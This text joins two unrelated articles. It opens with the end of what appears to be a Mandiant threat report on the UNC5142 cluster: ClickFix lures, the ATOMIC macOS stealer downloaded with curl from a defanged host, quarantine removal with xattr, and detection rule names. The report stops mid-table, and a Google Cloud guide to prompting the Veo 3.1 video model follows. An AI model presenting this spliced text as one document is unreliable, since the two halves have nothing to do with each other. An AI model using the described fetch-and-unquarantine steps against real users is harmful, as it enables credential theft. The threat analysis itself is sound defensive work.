In the infection chain leading to RADTHIEF, Mandiant Threat Defense observed the actor reverting to the older, static method of hardcoding the first-stage URL directly into the lure. This demonstrates that UNC5142 uses a flexible approach, adapting its infection methods to suit each campaign.
Targeting macOS
Notably, the threat cluster has targeted both Windows and macOS systems with their distribution campaigns. In February 2025 and again in April 2025, UNC5142 distributed ATOMIC, an infostealer tailored for macOS. The social engineering lures for these campaigns evolved; while the initial February lure explicitly stated “Instructions For MacOS”, the later April versions were nearly identical to the lures used in their Windows campaigns (Figure 18 and Figure 19). In the February infection chain, the lure prompted the user to run a bash command that retrieved a shell script (Figure 18). This script then used curl to fetch the ATOMIC payload from the remote server hxxps[:]//browser-storage[.]com/update and writes the ATOMIC payload to a file named /tmp/update. (Figure 20). The use of the xattr command within the bash script is a deliberate defense evasion technique designed to remove the com.apple.quarantine attribute, which prevents macOS from displaying the security prompt that normally requires user confirmation before running a downloaded application for the first time.
Figure 18: macOS “Installation Instructions” CLEARSHORT lure from February 2025
Figure 19: macOS “Verification Steps” CLEARSHORT lure from May 2025
Over the past year, UNC5142 has demonstrated agility, flexibility, and an interest in adapting and evolving their operations. Since mid-2024, the threat cluster has tested out and incorporated a wide swath of changes, including the use of multiple smart contracts, AES-encryption of secondary payloads, CloudFlare .dev pages to host landing pages, and the introduction of the ClickFix social engineering technique. It is likely these changes are an attempt to bypass security detections, hinder or complicate analysis efforts, and increase the success of their operations. The reliance on legitimate platforms such as the BNB Smart Chain and Cloudflare pages may lend a layer of legitimacy that helps evade some security detections. Given the frequent updates to the infection chain coupled with the consistent operational tempo, high volume of compromised websites, and diversity of distributed malware payloads over the past year and a half, it is likely that UNC5142 has experienced some level of success with their operations. Despite what appears to be a cessation or pause in UNC5142 activity since July 2025, the threat cluster’s willingness to incorporate burgeoning technology and their previous tendencies to consistently evolve their TTPs could suggest they have more significantly shifted their operational methods in an attempt to avoid detection.
Acknowledgements
Special acknowledgment to Cian Lynch for involvement in tracking the malware as a service distribution cluster, and to Blas Kojusner for assistance in analyzing infostealer malware samples. We are also grateful to Geoff Ackerman for attribution efforts, as well as Muhammad Umer Khan and Elvis Miezitis for providing detection opportunities. A special thanks goes to Yash Gupta for impactful feedback and coordination, and to Diana Ion for valuable suggestions on the blog post.
Detection Opportunities
The following indicators of compromise (IOCs) and YARA rules are also available as a collection and rule pack in Google Threat Intelligence (GTI).
Detection Through Google Security Operations
Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity detailed in this blog post is associated with several specific MITRE ATT&CK tactics and techniques, which are detected under the following rule names:
Run Utility Spawning Suspicious Process
Mshta Remote File Execution
Powershell Launching Mshta
Suspicious Dns Lookup Events To C2 Top Level Domains
Suspicious Network Connections To Mediafire
Mshta Launching Powershell
Explorer Launches Powershell Hidden Execution
MITRE ATT&CK
Rule Name
Tactic
Technique
Run Utility Spawning Suspicious Process
TA0003
T1547.001
Mshta Remote File Execution
TA0005
T1218.005
Powershell Launching Mshta
TA0005
T1218.005
Suspicious Dns Lookup Events To C2 Top Level Domains
If a picture is worth a thousand words, a video is worth a million.
For creators, generative video holds the promise of bringing any story or concept to life. However, the reality has often been a frustrating cycle of “prompt and pray” – typing a prompt and hoping for a usable result, with little to no control over character consistency, cinematic quality, or narrative coherence.
This guide is a framework for directing Veo 3.1, our latest model that marks a shift from simple generation to creative control. Veo 3.1 builds on Veo 3, with stronger prompt adherence and improved audiovisual quality when turning images into videos.
What you’ll learn in this guide:
Learn Veo 3.1’s full range of capabilities on Vertex AI.
Implement a formula to direct scenes with consistent characters and styles.
Direct video and sound using professional cinematic techniques.
Execute complex ideas by combining Veo with Gemini 2.5 Flash Image (Nano Banana) in advanced workflows.
Veo 3.1 model capabilities
First, it’s essential to understand the model’s full range of capabilities. Veo 3.1 brings audio to existing capabilities to help you craft the perfect scene. These features are experimental and actively improving, and we’re excited to see what you create as we iterate based on your feedback.
Core generation features:
High-fidelity video: Generate video at 720p or 1080p resolution.
Aspect ratio: 16:9 or 9:16
Variable clip length: Create clips of 4, 6, or 8 seconds.
Rich audio & dialogue: Veo 3.1 excels at generating realistic, synchronized sound, from multi-person conversations to precisely timed sound effects, all guided by the prompt.
Complex scene comprehension: The model has a deeper understanding of narrative structure and cinematic styles, enabling it to better depict character interactions and follow storytelling cues.
Advanced creative controls:
Improved image-to-video: Animate a source image with greater prompt adherence and enhanced audio-visual quality.
Consistent elements with “ingredients to video”: Provide reference images of a scene, character, object, or style to maintain a consistent aesthetic across multiple shots. This feature now includes audio generation.
Seamless transitions with “first and last frame”: Generate a natural video transition between a provided start image and end image, complete with audio.
Add/remove object: Introduce new objects or remove existing ones from a generated video. Veo preserves the scene’s original composition.
Digital watermarking: All generated videos are marked with SynthID to indicate the content is AI-generated.
Note: Add/remove object currently utilizes the Veo 2 model and does not generate audio.
A formula for effective prompts
A structured prompt yields consistent, high-quality results. Consider this five-part formula for optimal control.
Cinematography: Define the camera work and shot composition.
Subject: Identify the main character or focal point.
Action: Describe what the subject is doing.
Context: Detail the environment and background elements.
Style & ambiance: Specify the overall aesthetic, mood, and lighting.
Example prompt: Medium shot, a tired corporate worker, rubbing his temples in exhaustion, in front of a bulky 1980s computer in a cluttered office late at night. The scene is lit by the harsh fluorescent overhead lights and the green glow of the monochrome monitor. Retro aesthetic, shot as if on 1980s color film, slightly grainy.
Prompt: Crane shot starting low on a lone hiker and ascending high above, revealing they are standing on the edge of a colossal, mist-filled canyon at sunrise, epic fantasy style, awe-inspiring, soft morning light.
Prompt: Close-up with very shallow depth of field, a young woman’s face, looking out a bus window at the passing city lights with her reflection faintly visible on the glass, inside a bus at night during a rainstorm, melancholic mood with cool blue tones, moody, cinematic.
Veo 3.1 can generate a complete soundtrack based on your text instructions.
Dialogue: Use quotation marks for specific speech (e.g., A woman says, “We have to leave now.”).
Sound effects (SFX): Describe sounds with clarity (e.g., SFX: thunder cracks in the distance).
Ambient noise: Define the background soundscape (e.g., Ambient noise: the quiet hum of a starship bridge).
Mastering negative prompts
To refine your output, describe what you wish to exclude. For example, specify “a desolate landscape with no buildings or roads” instead of “no man-made structures”.
Prompt enhancement with Gemini
If you need to add more detail, use Gemini to analyze and enrich a simple prompt with more descriptive and cinematic language.
Advanced creative workflows
While a single, detailed prompt is powerful, a multi-step workflow offers unparalleled control by breaking down the creative process into manageable stages. The following workflows demonstrate how to combine Veo 3.1’s new capabilities with Gemini 2.5 Flash Image (Nano Banana) to execute complex visions.
Workflow 1: The dynamic transition with “first and last frame”
This technique allows you to create a specific and controlled camera movement or transformation between two distinct points of view.
Step 1: Create the starting frame: Use Gemini 2.5 Flash Image to generate your initial shot.
Gemini 2.5 Flash Image prompt:
“Medium shot of a female pop star singing passionately into a vintage microphone. She is on a dark stage, lit by a single, dramatic spotlight from the front. She has her eyes closed, capturing an emotional moment. Photorealistic, cinematic.”
Step 2: Create the ending frame: Generate a second, complementary image with Gemini 2.5 Flash Image, such as a different POV angle.
Gemini 2.5 Flash Image prompt:
“POV shot from behind the singer on stage, looking out at a large, cheering crowd. The stage lights are bright, creating lens flare. You can see the back of the singer’s head and shoulders in the foreground. The audience is a sea of lights and silhouettes. Energetic atmosphere.”
Step 3: Animate with Veo. Input both images into Veo using the First and Last Frame feature. In your prompt, describe the transition and the audio you want.
Veo 3.1 prompt: “The camera performs a smooth 180-degree arc shot, starting with the front-facing view of the singer and circling around her to seamlessly end on the POV shot from behind her on stage. The singer sings “when you look me in the eyes, I can see a million stars.”
Workflow 2: Building a dialogue scene with “ingredients to video”
This workflow is ideal for creating a multi-shot scene with consistent characters engaged in conversation, leveraging Veo 3.1’s ability to craft a dialogue.
Step 1: Generate your “ingredients”: Create reference images using Gemini 2.5 Flash Image for your characters and the setting.
Step 2: Compose the scene: Use the Ingredients to Video feature with the relevant reference images.
Prompt “Using the provided images for the detective, the woman, and the office setting, create a medium shot of the detective behind his desk. He looks up at the woman and says in a weary voice, “Of all the offices in this town, you had to walk into mine.”
Prompt: “Using the provided images for the detective, the woman, and the office setting, create a shot focusing on the woman. A slight, mysterious smile plays on her lips as she replies, “You were highly recommended.”
This workflow allows you to direct a complete, multi-shot sequence with precise cinematic pacing, all within a single generation. By assigning actions to timed segments, you can efficiently create a full scene with multiple distinct shots, saving time and ensuring visual consistency.
Prompt example:
[00:00-00:02] Medium shot from behind a young female explorer with a leather satchel and messy brown hair in a ponytail, as she pushes aside a large jungle vine to reveal a hidden path.
[00:02-00:04] Reverse shot of the explorer's freckled face, her expression filled with awe as she gazes upon ancient, moss-covered ruins in the background. SFX: The rustle of dense leaves, distant exotic bird calls.
[00:04-00:06] Tracking shot following the explorer as she steps into the clearing and runs her hand over the intricate carvings on a crumbling stone wall. Emotion: Wonder and reverence.
[00:06-00:08] Wide, high-angle crane shot, revealing the lone explorer standing small in the center of the vast, forgotten temple complex, half-swallowed by the jungle. SFX: A swelling, gentle orchestral score begins to play.
Start creating with Veo 3.1 in Vertex AI
You now have the framework to direct Veo with precision. The best way to master these techniques is to apply them for real-world use cases.
For developers and enterprise users, the improved Veo 3.1 model is available in preview on Vertex AIvia the API. This allows you to experiment with these advanced prompting workflows and build powerful, controlled video generation capabilities directly into your own applications.
Thanks to Anish Nangia, Sabareesh Chinta, and Wafae Bakkali for their contributions to prompting guidance for customers.